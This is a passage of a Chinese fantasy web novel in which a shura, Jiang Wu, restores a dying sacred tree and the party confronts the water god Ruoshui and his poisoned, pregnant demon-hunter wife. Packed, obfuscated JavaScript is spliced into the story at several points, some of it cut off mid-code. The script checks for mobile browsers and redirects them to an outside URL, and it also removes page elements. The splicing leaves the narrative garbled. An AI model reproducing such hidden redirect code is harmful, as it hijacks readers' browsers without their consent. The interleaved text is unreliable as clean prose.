三鶄鸟拍拍翅膀,整理了一番被姜芜弄乱的羽翎,对于后者无礼的举动并不恼怒,“龙生九子,后与蛇生第十子蛟,苍旻辉煌一生,征战四方,一统妖界,最后不是得了个并不善终的结局,被一个小小人类封印于昆仑山不说,九个儿子也为了大荒的灵力,而固守与神树之上,以自身的妖力反哺神树,维持大荒灵力不散。昔日霸主,家破人亡,真实叫人唏嘘。” 姜芜眉心微不可查地一蹙,正当要开口说什么,却见三鶄鸟神情一震,迅速化为一只小鸟向外飞去。 “您回来了,怎么出去也不跟我说一声呢,害我好生担心。” 一头似虎一般的巨兽走来,浑身雪白,三鶄鸟落于其肩上。 那双赤红色的眼睛只是看了姜芜一眼,巨兽便化成了雌雄莫辨的人形,雪一样的白衣覆其酮体,白纱盖住了它的面容,银白色的长发垂落至地面。 “你是谁?” 姜芜回道:“修罗濯漪。” 西王母蹙眉,“你不好好在无幻之境待着,跑出来做什么?还觉得上次闯得祸不够大吗?” 姜芜毫不在意地勾起唇角,“出来赎罪。” 西王母嗤笑一声,赤脚往洞穴内走去,“你走吧,我这里不欢迎你。” “你活了这么久,总应该知晓如何让神树重焕生机吧。”姜芜问道,“现下想来,这么多年,你们一直用他人祭献的方法来缓解,想必也是黔驴技穷了。” 西王母偏头去看姜芜,“祭献?黔驴技穷?如果不是因为你,这两个词还会从你的口中说出吗?濯漪,你对得起谁?” 姜芜面上笑意不变,“我今日来不是让你苛责我的,告诉我办法,我来解决。” 西王母冷笑,“戾气与灵气本是同根同源,你活了这么久,一千年的法力对你来说如同沧海一粟,不过尔尔。一万年的修为换大荒妖族几百年的和平,以及龙之九子的短暂的命如何?” 姜芜垂眸,面色有些凝重,“看来,想要拯救大荒还是要破坏昆仑之门的阵法。” 西王母说:“不仅要破坏那个阵法,还要破坏掉无幻之境的封印,这样天地之间灵气和戾气便开始循环,神树吸取戾气,产生灵气,大荒的灵力也就会逐渐充沛,妖族与修罗便会逐渐壮大,到时人族式微,濯漪,你和段怀野创造出的太平盛世就要毁于一旦了,你忍心吗?” “我知道了。” 姜芜说完之后便转身去了后山。 不死树上伏着一只龙头首身、双翼似凰又似鸟的巨兽,身上流光溢彩的鳞片和羽毛失去的光泽,一副奄奄一息的模样。 姜芜到时,嘲风正半睁的双眸,听着寂满泣涕涟涟的控诉。 “小寂满,好不容易来见我一次,能不能哭哭啼啼的,真晦气,这是在提前给我哭坟吗?但是我现在还没有死呢。” 寂满抱着嘲风巨大的头颅,脸埋进他的鬃毛之中,身体难以抑制得颤抖着。 “三哥,明明才过去几百年,我上次见你时你还不是这样的,为什么会变成这个样子?!” 嘲风发出一阵轻笑,出声安抚道:“你也说是几百年前了,你都长大了,还不允许我老吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嘲风也感受到了不死树有一瞬间的停滞,不再如骨附疽地吸食他体内的修为,松开了啃食他的无形口器。 突然,不死树散发出庞大的灵气,进入嘲风的体内,修复着他残缺的身体。 嘲风已经很久没有感受到如此轻盈之态,像是从常年深陷的泥沼之地挣脱而出。 金色的小花爆炸一般从树枝上放开来,清香随风徐徐,繁花漫天,像是人间三月的春柳絮。 沈确伸手接住一朵小花,神情有些差异,“这就是不死树的花朵吗?” 姜芜站在树下,长发之间缀满了垂落的小花,她的唇色有些泛白,有些不适应突然流失的大量戾气。 “嘲风,你现在还不适宜化成人形,但是我们需要渡过弱水前往炎火之山,还希望你能告诉我们一个方法。” 睢羲隐匿了气息站在不远处,金色的小花落在他的黑袍上,被他悉数毁去。 西王母看着如同落雪一般的不死树之花,脸上带着一丝得逞的笑容,她从洞穴中取了几只布袋,招呼道:“三鶄,出来捡花了!” “你们如果要去炎火之山,不一定非要渡弱水这一个方法。”嘲风回忆了片刻,面上的苦涩一闪而过,“弱水喜欢喝酒,过了这么久的时间,也不知道他的口味有没有变。” 姜芜解释道:“我们要节约时间,前往炎火之山取火鼠之皮。” 嘲风不解地看向寂满,“你们要做什么?” 13. 万毒 寂满擦干净了脸上的泪,简单地将最近发生的事情说予了嘲风听。 “杀顒鸟?只是你们几个吗?”嘲风抬眸看了一眼不远处的三人,“小寂满,鸟类可算是你的天敌,雾沅虽然活了近万年,但是修为不够,再加上两个金丹期的修士,怕是你们这一趟会非常的吃力,再者你们要顒鸟精火做什么?” 寂满挠了挠头发,面色有些羞赧,“我和雾沅在人间做了些事被人发现了,父亲罚我们帮五行道宗的人找圣物。顒鸟虽然难杀,但是我们还有她,她还算厉害的。”说完,他伸手拍了拍姜芜的肩膀。 嘲风转动硕大的龙目,将目光放在了姜芜的身上,片刻后才问道:“你有何居心?身为一个修罗却要帮人类修复无幻之境的封印。要知道天地之间,只有灵气和戾气流通起来,所有种族才能存活。大荒神树有很多,你会舍得自己的戾气吗?又如何保证大荒不灭?” 姜芜垂眸,随即低声笑了起来,她深深地吸了一口气,“保证大荒不灭?从古至今谁能保证不灭?” 姜芜摇了摇头,转身往前山走去。 寂满抬眸看了一眼嘲风,“三哥?” 嘲风盯着姜芜的背影充满了愤恨和不解,听到寂满的呼唤又转为了温情,“弱水河畔有一方小院,水神若是不在水底,大部分都会住在小院里。” 寂满点了点头,“三哥,我们回家吧?” 嘲风垂眸不语,他起身振翅,梳理了一番自己恢复光泽的羽毛,“小寂满,我现在还不能离开这里。” 寂满不解地问道:“为何?不死树已经恢复生机了,三哥你不需要再待在这里让不死树吸食你身上的修为了,为何不跟我回家?” 嘲风解释道:“这只是暂时的,那女修罗的传送过来的戾气,只能支持几百年的时光,无幻之境的封印不破,昆仑山门前的阵法不销,大荒永远恢复不到之前的模样。” 寂满蹙眉,神情悲恸,“三哥,我要怎么做?我要怎么做才可以救你们?” 嘲风垂眸看着寂满,它用翅膀抚过寂满的发顶,“小寂满,这一切都是我们自己的选择,跟你没有关系,你不要放在心上,你应该有自己的生活。” 寂满反驳道:“我不要,你们在受苦受难,我又怎么会安心过自己的生活呢?” 嘲风低笑了一声,“正因为如此,你才要更加快乐更加幸福,小寂满,快快长大吧。”说完,它用羽翼推了一下寂满,然后飞到了不死树的高处。 “三哥......” “去吧。” 【弱水河畔】 姜芜从腰间的纳袋里取了两坛秋心月,庆幸地说:“好在水神喜欢的是酒,而不是别的稀奇古怪的东西。酒这个东西,我还是能管够的。” 姜芜见无人搭她的话,有些诧异地看向身后,商扶庭和沈确心有芥蒂,这个可以理解,寂满心情低落,不想搭话,这个也可以理解,但是雾沅也是一副心事重重的模样。 姜芜轻轻地叹了一口气,“带着你们几个拖油瓶,我真是出财出力又出人,还要解决你们惹出来的麻烦。” 寂满一愣,立刻嚷道:“谁让你解决麻烦了?不对,谁惹麻烦了?” 姜芜歪头看着寂满,随即将手中的两坛酒递了出去,“分担一些吧。” 寂满冷哼一声,接过酒坛顺势挂在了脖颈上,“就这点份量,压死你算了。” 姜芜立刻夸赞道:“少年,真的好颈力。” 沈确突然停住了脚步,她动了动鼻子,示意众人噤声,有些不确信地说道:“有人的气息?” 寂满神情差异地说:“开什么玩笑,大荒腹地怎么可能有人?数量多吗?难不成我们遇到猎妖师了?” “嘘。” 沈确抬手掐诀,蓝色的法术覆于双眸之上,四周顿时如同拨云见月般清晰,只见不远处有一人跌跌撞撞地朝着他们的方向跑来。 “一个人类,像是个女子。” 言语之间,那名女子已经跌跌撞撞地来到了他们的面前。 沈确下意识上前几步,一柄长鞭带着破风的声响迎面而来,商扶庭迅速将沈确护至身后,手持太初剑结印成结界,挡住了女人甩过来的长鞭。 姜芜双眸一眯,认出了女人身上穿得衣裳,语气中充满着危险,“猎妖师吗?” 雾沅的神情变得凝重,欲言又止地看着面前身形狼狈的女人。 寂满立刻将腰间的匕首取了出来,呲牙道:“猎妖师没一个好东西,就是他们跟闻香镇李家合作,才会让霰雪蝶一族遭此灭顶之灾,我去杀了她!” 姜芜伸手将寂满拦了下来,“等等,她有孕了。” 寂满震惊地看向姜芜,“什么?你莫不是诓我的吧?” 姜芜神情无奈地睨了一眼寂满,“骗小孩可不好玩,她身上的气息很乱。” 雾沅眉心一拢,神情多了几分复杂,看向隋垂枝的眼神里充满了怜惜。 隋垂枝警惕地看着面前的人,随即将目光放在了商扶庭和沈确身上,她仔细辨认了一番二人衣裳边缘处绣得纹路,有些难以置信地问道:“你们是五行道宗的人?” 沈确讶然,她看着隋垂枝臃肿的身子,“你这是......你为何会在此处?” “求求你们,带我离开这里。” 隋垂枝说完后体力便有些不支,她双膝一软,扑倒在沙地里,随即不省人事。 几人面面相觑。 寂满率先打破了沉默,他扯着雾沅远离隋垂枝,“这可是你们人族的事情,跟我们可没有关系,这些年猎妖师行动猖獗,简直把大荒当家,想来便来,想走便走,可谓是无法无天。再说了,现在重中之重是去炎火之山杀火鼠,你们还打算多管闲事吗?” 沈确瞪了一眼寂满,有些不确信地扯住了商扶庭的衣角,“师兄,如果我们不管的话,任凭她昏厥在这里,不出一柱香的时间,她便会被这里的妖兽撕扯干净的。” 寂满叹了一口气,一脸无可奈何地说:“看来还是要浪费这个时间呢,也不知晓时间宝贵在哪里,对于你们这种朝生暮死的凡人来说,时间确实宝贵的很。”说完,他便露出了一个挑衅般的笑容。 商扶庭偏头看了一眼沈确,安抚地朝她一笑,“放心,无论如何,我们都不能将她扔在这里不管。” 沈确冷哼了一声,随后将太阿剑背到身后,上前将隋垂枝扶了起来。 姜芜说:“我见前面有个小院,还是先将她扶到那里去吧,后续是带着她一起,还是先将她送出大荒,都由你们决定。” 寂满不解地看向姜芜,“你为何要惯着他们?” 姜芜故作神秘的一笑,对寂满说:“因为我走累了,也想休息一下。” 寂满一愣,随即喘着粗气说:“需不需要我找人帮你抬轿子啊?” 姜芜摇了摇手指,“这就不必了,我休息一会就好了,毕竟耗费了一部分戾气,需要多休息。” 雾沅见寂满还想理论一番,及时上前按住了他的肩膀,“姜芜也算是救了嘲风,而且戾气与灵气相生相克,从戾气诞生出来的修罗,在灵气充沛的大荒,想必也是极其不适的,休息片刻也没什么的。” 寂满垂眸,顿时有些心虚,却也只是梗着脖子不说话。 “走啊,你们不能比那两个小道士走得还慢吧。”说完,姜芜便自顾自地跟上了商扶庭二人的步伐。 寂满低声道:“我只是看不惯她向着人类说话而已,虽然妖族和修罗也没有非常的要好,但总归我们有共同的敌人不是吗?” 雾沅盯着寂满看了片刻,随后伸手拍了拍他的发顶,安抚道:“每个人都有不同的想法和想要做的事情,你不要以自己的想法要求别人,也不要把自己的想法强加给别人。这么久了,你都没有发觉姜芜的敌人并不是人类吗?” 寂满蹙眉,他看了一眼姜芜的背影,不屑地问道:“她的敌人不是人类,难不成她的敌人还是修罗或者妖族吗?” 雾沅想起姜芜和段怀野的关系,不确信地说:“有可能,否则我实在想不明白,她要太初剑的目的。” 商扶庭把手中的太初剑交给了沈确,俯身将隋垂枝抱了起来。 “阿确,你去叫门。” 沈确颔首,上前去拍门,“请问有人在吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106423|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这四方小院并不大,青砖红瓦外围了一圈轧制的围墙,里面收拾得干净整洁。只是在这黄沙天地之中,显得有些突兀。 寂满四下看了看,有些奇道:“谁会在这里住啊,这么偏僻,而且离弱水又这么近,毒障缭绕,生存都困难。” 雾沅的面色有些凝重,“我总觉得气息有些熟悉。” “什么气息?”寂满抬头去看雾沅,“你是认识这里的妖怪吗?” 雾沅摇了摇头,“不,我不认识,我是说那个女猎妖师身上的气息我觉得熟悉。” 沈确见没人应门,索性伸手推了推院门,有些无措地去看商扶庭,“师兄,上面下了禁制,我打不开。” 姜芜上前看了一眼门上的禁制,并没有第一时间伸手去碰,而偏头看向商扶庭二人,“要进去吗?这个禁制还是容易破开的。” 商扶庭不等回答,便察觉到怀中的隋垂枝身子一抖,四肢乱动挣扎了起来。 “当心一些。” 隋垂枝急忙后退着远离众人,心绪不稳地说:“离我远一些,离我远一些。” 沈确刚要开口安慰,便觉得手指一阵刺痛,她垂眸一看,裸露在外的皮肤正在蜕皮溃烂,连同商扶庭的双手也不例外。 “我们已经靠近毒障边缘了吗?” “弱水的毒障腐蚀性并没有那么强,之所以你们身上会出现异样,是因为她。”姜芜伸手指向了隋垂枝,“这位猎妖师,身上似乎有不少秘密呢。” 姜芜说完之后缓步靠近了蜷缩在地上的隋垂枝,她歪着头盯着后者看了片刻,随即隔空将她提了起来。 “肮脏的妖物,休要碰我!” 隋垂枝说完便朝着姜芜撒出了一把粉末。 姜芜偏头,有些不适地皱了皱鼻子,“这是什么东西?” 这种粉末初闻有些刺鼻,却能够通过肌肤外表渗入体内。 姜芜看向隋垂枝,笑着说:“似乎是很新奇的玩意,我没见过。” 隋垂枝取出腰间的长鞭,朝着姜芜甩去,面色狠厉,“当然是能让你们妖物穿肠烂肚的药!” 雾沅顿时瞪大了双眸,隐藏于双袖中的手紧紧地握了起来,连牙齿也在轻叩。 “这么痛恨妖怪?却居于大荒境内,体内还有着不属于人类的胎儿,你最痛恨最厌恶的应该是自己吧。” 姜芜勾唇浅笑着,笑容天真无邪,却丝毫不掩盖其中的挑衅,也不对隋垂枝否认自己的强大。 寂满神情愤愤地说:“简直太可恶了,一个猎妖师居然敢在大荒中如此撒野。” 雾沅伸手拦住了欲上前帮忙的寂满,神情冰冷,身体却不由自主地在颤抖,“别去,没听到她的话吗?那可是能让妖怪穿肠烂肚的药。姜芜没事,她不是妖怪。” “可是......” 寂满欲言又止地看着雾沅,最后在后者的眼神威胁之下打消了上前帮忙的念头。 姜芜控制住隋垂枝的长鞭,随手将她扔向了院内。 隋垂枝撞破小院门上的禁制,翻滚了几下才稳住了自己的身子,她单手捂着自己臃肿的腹部,另一只手将自己的身体撑起,一脸怒容地看着姜芜。 沈确急忙上前,确认她没事之后才说:“你怎么可以这样对她?” “混血没有你们想象中的那么弱,摔摔打打几下,不会有什么意外的。”姜芜整理袖口的动作一顿,她抬眸看向沈确,“我险些忘了,你们是同族。” 商扶庭说:“无论是不是同族,也不能仰仗着自己的强大去欺负弱小,况且她还是个身怀六甲的妇人。” 姜芜勾唇,“我劝你不要离她那么近,毕竟她浑身都是毒。” 雾沅缓步走了过来,“不能欺负弱小,难道就可以利用别人的善意,来达到自己不可见人的目的吗?” 商扶庭蹙眉,他转头看向雾沅,却见后者是一副神情冰冷的模样,没有丝毫平日的温润可言,像是撕开了伪装成人类的那层皮囊,暴露出属于妖邪对生命的漠视和不可一世的高傲。 商扶庭见状立刻警惕了起来,他手持太初剑站在了沈确和隋垂枝的面前,“你们想做何事?” 14. 恩怨 雾沅的目光越过商扶庭看向了不远处的隋垂枝,“我们并无恶意,遇见你也是偶然,敢问姑娘你是出自何门何派?” 隋垂枝抬眸看向雾沅,抿唇不语。 沈确见状出声安抚道:“别怕,我们不是坏人,同行只是不得已。” 隋垂枝的面色有些缓和,她转头看向沈确,在后者的搀扶下站了起来,神情依旧冰冷,“大荒如此危险,你们为何会到这里?如果有机会的话,还是赶紧出去的好。而且,不要靠近我。”说完,她便错开沈确的搀扶,转身走进了屋内。 寂满大为震惊,“这里是她家啊?” 沈确蹙眉,“究竟是怎么回事?她为何会在这里?又为何沦落到这种地步......” 姜芜说:“与其关心这个,不如关心你们身上的毒,她似乎并没有给你们解药的打算,你们要怎么解?寂满和雾沅倒是擅长毒,但是你们确定要让他们帮忙吗?” 商扶庭垂眸,随后持剑朝着寂满和雾沅施礼,“有劳二位了。” 雾沅略略查看了一番商扶庭和沈确的伤势,片刻后才说:“不过,这毒......我们没发解。” 沈确震惊地看着雾沅,“为何?你们不是妖怪吗?天底下还有你们无法做到的事情?” 寂满冷笑一声,嘲讽道:“你也知道我们是妖怪,不是神仙,怎么可能无所不能?” 商扶庭看向雾沅,“为何无解?可是需要何种难寻草药?” 雾沅摇了摇头,面色有些凝重,“并非,只是这种毒很特殊,里面有弱水的成分,混杂了至少百余种妖毒、蛊虫甚至是南疆一代的秘药,整个大荒除了水神和方才的那位姑娘,估计无人可解。” 沈确闻言,面色愁容,“师兄,我们该怎么办?” 商扶庭拍了拍沈确的肩膀,“阿确别怕。” 姜芜勾唇,随即回身抬手,戾气轰然冲天,形成一股屏障将几人包裹在其中。 一道水柱带着冰蓝色的法术从远处而来,在接触到姜芜的结界之后,迅速张开,仿佛遮天蔽日的巨翼,将黑红色的结界包裹在其中,妄图击碎。 雾沅大惊,“弱水水神?!” “要小心喽。” 姜芜突然扯掉了结界,戾气成雾状直奔水柱的来源。 漫天的弱水突然撒了下来。 寂满大叫了一声,众人身上多了不同程度的灼伤。 “你做什么啊,撤掉结界也不说一声。”寂满轻碰了一下脸上的灼伤,指腹却摸到了坚硬的鳞片,“这弱水的威力这么大吗?伤口都这么难愈合的吗?鳞片都给我烧出来了。” 雾沅放下手臂,却发现袖袍上也有了不同程度的灼伤,不似火那般热烈,却有着与火相同的威力,甚至更甚,丝丝缕缕的高温热气正随着衣料破碎的边缘袅袅升起。 弱水水神飞身袭来,一身白衣,水色的纹路落在他恍若透明的脸上,如同月色水面般波澜壮阔,他浮空站在小院的上方,居高临下地睥睨着众人。 “何人在此,敢伤吾妻。” 寂满震惊地瞪大了双眸,立刻质问道:“弱水水神,你为何要自轻自贱自找麻烦,私自与凡人结合,给大荒惹麻烦?” “笑话,大荒之妖肆意妄为,万事遵从本心,吾二人两心相悦,又何惧流言蜚语?”弱水说,“反倒是你们,满口仁义道德,却做着鸡鸣狗盗之事,拿人类的道义职责我,自己却做着擅闯他人家园之事。” 寂满一时语塞,求助般地看向姜芜和雾沅。 商扶庭越过三人从后方走了出来,他持剑施礼,“晚辈五行道宗商扶庭,今日擅闯并非本意,而是有事想求水神帮忙,一来让我们渡过弱水,二来求解毒之药。” 弱水看向商扶庭手上溃烂的伤口,神情淡漠地说:“弱水好渡,但是此毒无解,速速离去,完成未竟之愿,了却残生吧。” 姜芜轻笑一声,右手如爪,黑红色的戾气形成荆棘直接捆上了弱水的腰,“此毒无解吗?” 弱水先是看了一眼身上的戾气,缓慢地抬起头看着姜芜,随即身形一散,高挑的身姿直接化水脱离了戾气的禁制,他拂袖朝着姜芜袭来。 “你是修罗。” 姜芜说:“世人都说弱水腐蚀性强,会在水域形成毒障,以至于寸草不生,鸿毛不浮,飞禽不过,但是鲜少有人知晓,弱水其实可解百毒。” 弱水狭长的双眸一眯,“你知道的似乎很多。” 姜芜笑容不变,“得配得上我千万年之久的生命。” 两人对掌,气流对冲,发出惊人的气爆声,震得地面都抖动了几分。 弱水捂着胸口后退了几步,他看向姜芜的眼神中充满了危险,“好生厉害,你是谁?” “我是谁并不重要,既然你说这毒无解。”姜芜勾唇,面上的笑容充满了邪性,她故意停顿了片刻,“我倒是知晓一个简单的解读法子,只需要将下毒之人杀死,这毒自然可解。” 姜芜说完不等弱水反应,挥袖之间便破开了房门,纵身掠进入其内。 弱水一惊,立刻化成一阵水流跟了进去。 寂满抱着怀中的两个酒坛,左右为难,始终无法插话,此时急得如同热锅上的蚂蚁,一边向房间内跑去,一边大喊,“刀下留人。” “姜芜!”商扶庭跟着冲了进来,“不要杀她!” 姜芜挑眉,她波澜不惊地看着冲进来的几人,随即又将目光放在了弱水和隋垂枝身上。 “你终于舍得现身了,我究竟要怎样做你才能放我出去?”隋垂枝见弱水欲上前,率先后退了一步,“难道你打算永远都不见我吗?” 寂满凑到姜芜身边,“现在是什么情况啊?你刚刚怎么回事啊?为什么要对他大打出手?” “现在?当然是话本子里喜闻乐见的情节了。” 姜芜从腰间纳袋中取出了一小袋瓜子,边嗑边看着隋垂枝和弱水的对峙,双眸发亮,对隋垂枝和弱水的爱恨情仇表现出了极大的兴趣。 弱水收起了脸上的关切之色,他垂下双眸,顺便也收回了自己的手,“枝枝,只允许三年前你骗我,不允许我把你关起来吗?没这个道理。” 姜芜说:“她想走,你却把她留在这里,而她居然有了你的孩子,你现在是正神格吗?你们的孩子将来会是什么?半神吗?” 隋垂枝双眸赤红,厉声辩解道:“妖而已!弱水虽正神,到底是出身于大荒,子嗣怎会继承他的神位。” 弱水蹙眉,他下意识觉得隋垂枝会脱口而出些伤人的话,摇着头祈求道:“枝枝,求你,不要说。” 隋垂枝垂眸,并不理会弱水,自顾自地说道:“而我,身为扬州万毒门猎妖师却怀了妖孽之子,说出去必定会让天下人所耻笑!” 姜芜故作惊讶地看着二人,“既然你当初心怀不轨接触弱水,也必然会知晓如今的后果,所以当初的目的达到了吗?” 沈确蹙眉,她扭头看向商扶庭,“师兄,你是否还记得三年前的扬州大疫,当时疫病蔓延的速度极快,却在一夜之间消失得无影无踪,我师尊还前往扬州调查过此事。” 商扶庭问道:“可有答案?” 沈确摇了摇头,“师尊和掌门师伯谈论此事时屏退了其他人,我也只是听到一句跟万毒门有关。” “看来二位渊源颇深啊。”姜芜将瓜子收了起来,扫了扫身上的碎屑,“不如我来说一些各位不知晓的事情吧,万毒门兴起不足二十年光阴,却能在扬州立足,各位可知晓原因?” 隋垂枝抬眸看向姜芜,目光冷淡,“没错,就是因为我。” “当然,是因为你,万毒门的圣女,相传你浑身都是毒,出门只能用特质的衣料来遮蔽身体,防止毒气扩散,常年居于铜山深处。”姜芜眯了眯双眸,“三年前扬州大疫,是你第一次不顾师门阻拦下山,结果遇到毒气失控,你无心却酿成大错,翻阅典籍发现了弱水的秘密,便有了后来的纠缠,对吗?” 弱水摇了摇头,“不对,枝枝从小的生活很苦的,根本无法决定自己的一切,成为圣女也不是她的意愿。因为体质的原因,她甚至无法像常人一样。她很孤独,而我能理解她的孤独。”说完,他便看向了隋垂枝,神情充满了痛惜。 姜芜看向隋垂枝,“你是天生毒体吗?如果不是的话,必定是后天淬体,那么你用的是何种毒?五毒吗?怕是无法做到这种程度吧。” 雾沅浑身一僵,不由自主地向前走了一步。 寂满差异地看着雾沅,伸手扯了扯他的袖子,“你怎么了?” 雾沅脸色苍白,他呼吸有些急促,一字一顿地说:“主毒是霰雪蝶。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106424|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜芜缓步上前挡在雾沅的面前,伸手抚在他的胸口之上,“先冷静一些,那个阵法很特殊,是我从未见过的阵法,万毒门成立不过二十余年,是没有可能创造出这种阵法的,里面必定有我们不知晓的事情,到时我们可以去扬州彻查此事。” 雾沅蹙眉,垂眸看着姜芜,眼中流露出浓厚的伤痛,片刻后也只是合上了自己的双眸,依着姜芜的说法点了点头。 寂满神情担忧地看着雾沅,想起在进入这间小院之前后者说隋垂枝身上的气息熟悉,但是他如论如何都没有想到是这种熟悉。 “闻香镇的李家只是一个幌子,万毒门教给李家捕捉妖物的阵法,取走了霰雪蝶身上的毒,炼制出了你这样一个圣女。”姜芜说,“你们的目的是什么?仅仅是为了猎妖吗?用妖来猎妖,让妖来自相残杀,以达到你们的何种目的?” 隋垂枝咬牙道:“天下妖物皆可诛而杀之!” 姜芜毫不意外隋垂枝的回答,反而饶有兴趣的反问道:“无论是好妖还是坏妖?” “妖便是妖,野蛮难训,食古不化。”隋垂枝义愤填膺地说,“即便是太初道尊将文明带到妖界又如何,不过是邯郸学步,愈来愈蠢。妖骨子里便是笨拙,即便是如此,他们居然也妄图学习人的感情,企图将自己变成人,你说可笑不可笑?” 隋垂枝逐渐将目光转移到弱水身上,字字泣血,恨不得将面前的妖怪啖血吃肉。 弱水神情受伤,他的声音细微,仿佛对这种控诉已经麻木,“枝枝,大荒并非你想象的那般不堪。” 寂满气呼呼地上前一步,他挽了挽袖子试图与隋垂枝辩解,“好啊,你们人类高尚。你们人类可太高尚了,猎杀妖物的时候标榜自己是正义。实际呢?其实你们其实很羡慕妖吧,虽然我们在你们口中如此卑劣,但是我们强大,天赋和灵性高于你们百倍千倍,就连生命都比你们漫长。你们猎杀妖物名义上是维护世间和平,其实你们人类骨子里的争强好斗一点都不比妖少!杀妖只是为了满足你们那见不得光的欲望!长生、权力,哪个不是你们想要的?争霸天下、逐鹿中原,不就是为了那至高无上吗?” “况且这些都是你们还未得到的,谁知道你们得到这些之后又会奢求什么?!”寂满冷笑了一声,“你们人类才是最可恶,最邪恶的,心中肮脏的欲望无穷无尽。” 隋垂枝的面容逐渐扭曲,她抬起自己的手臂,一枚小巧的袖箭便朝着寂满发射了出去。 “住口!!!” 姜芜张开结界,将隋垂枝的袖箭截落下来。 “人类最初由女娲大神亲自教导,造人时赋予人类灵智,真善美等美好品质。崇尚文明,设立法度,以法来定善恶,但是妖却不同,它们要想修行,需要靠机缘开灵智,而修行的初衷是为了躲避天敌。弱肉强食,适者生存本就是自然法则,人族发展至此也是经历了千万年之久,更新迭代,熬过了万神斗法,千妖争霸,百鬼夜行的时代,才得以发展至今,不过是风水轮流转,文明发展的快慢,却总有归一的时候。” 姜芜笑了一声,“非我族类,其心必异,人类国度之间尚且如此,更何况人与妖呢?再说了,人类有句话叫做‘此一时,彼一时’。” “什么?!”寂满不满地看着姜芜,“你什么意思?你是在说我们妖族笨吗?” 姜芜无奈地看着寂满,伸手按着他的额头推远,“你最聪明了。” 隋垂枝嗤笑了一声,“那又如何?” “我们来此地无心插手你们之间的事情,这两位小友最初也是好意救你,现下却因为你身上的毒而受累,于情于理,你应该给一个解毒的法子吧?”说完,姜芜便侧身将身后的商扶庭和沈确让了出来。 隋垂枝深深地吸了一口气,“可以,但是我也有个要求。” 姜芜笑意不变,她微微歪头,天真无邪的芙蓉桃花面却说着不容置喙的话,“如果你的要求是让我们带你离开大荒,回到人界,那么免谈。” “既然如此,那各位请回吧。”说完,隋垂枝转身走入了里间。 姜芜无奈地叹了一息,脸上的笑意却渐浓,“真是麻烦啊,既然如此那就全部杀掉吧。”说完,她的身上便腾起了黑红色的戾气,顺着她的氅衣流淌至地面,并逐渐铺满整个房间。 “慢着!” 15. 解药 商扶庭上前一步,他抬手制止姜芜,然后将目光放在了弱水身上,“在下五行道宗商扶庭,见过弱水前辈。虽然我不清楚你们之间为何如此,但是她总归是一介凡人,不适宜长久地留在大荒境内,还请弱水前辈高抬贵手,放她回去吧。” “跟固执的人是讲不通道理的。”姜芜双手环胸,“其实还有一个办法,不过就是可惜。” 商扶庭下意识觉得姜芜口中并不是什么好方法,但依旧追问了下去。 “什么办法?” 姜芜笑着说:“当然是将你们的双手砍下来,防止毒气继续向上蔓延,只是以后不能再掐诀执剑,你说可惜不可惜?” “你!”沈确气急,“你这都是什么馊主意?!” 姜芜并没有理会众人,而是朝着弱水歪了歪头,“弱水,你觉得呢?你帮他们解毒,还是让隋垂枝帮他们解毒?不过,隋垂枝不愿,那我只能杀了她了,到时候可就一尸两命了,她腹中的孩儿是你的吧?你忍心吗?” “我可以给他们解毒,也可以帮你们渡过弱水,只要你们别伤害她。”弱水长长地叹了一息,“只要别伤害她,一切都好说。” 隋垂枝突然打开房门,快步走了出来,她伸手攥住了弱水的衣襟,神情狠厉地说:“不准!我说了不准!” 弱水温和地一笑,“没关系的,枝枝,我撑得住。” “我一人做事一人当,不需要你替我去还。”隋垂枝推开弱水,她快步走到商扶庭面前,预备去夺他手中的太初剑。 弱水大喊,“枝枝不要!” 商扶庭则是伸手按在了隋垂枝握在太初剑剑柄的手上,“隋姑娘,事情并没有到这种地步,其余的暂且不论,如果是一命换一命的解毒方法,恐怕我余生良心难安。” 隋垂枝面如死灰,她看往别处,握着太初剑的手加了几分力道,“无所谓了,此事本就因我而起,如果不是我,你们根本不用遭此横祸。” “不!!!” 弱水神情痛苦地上前一步,在隋垂枝的呵斥声中不得不停留在原地。 “枝枝,我们之间明明有那么多美好的回忆和过去,不应该这样的。”弱水哑声道,“为何会沦落到现下这种地步?不管你当初是虚情还是假意,我们都不该如此。” 隋垂枝蹙眉,她握着剑柄的手开始颤抖,她深深地吸了一口气,随后泪眼婆娑地看着弱水,“正因为我们有着美好的回忆和过去,所以才不应该像现在这样,应该让那些过去成为我们多年后回想起来的能够付诸一笑的错误,而不是怨恨。” “错误?我偏不!” 弱水的神情一改方才的痛惜,变得狠厉起来,他张开双臂,水流从他的身上倾泻而下,奔腾着涌向房间的角落,沾上弱水的器具很快出现了不同程度的腐蚀,刺鼻的气味冲天而起。 姜芜抬手用戾气凭空一划,阻断了弱水往他们的落脚处蔓延。 “枝枝,你在意他们,那我就将他们全部毁掉,让你只能待在我的身边!” 寂满暗骂了一声,迅速躲到了雾沅的身后,扯着后者的袖子对弱水说:“你疯了吧,你们的家事能不能不要牵扯上我们这些无辜人啊?!” 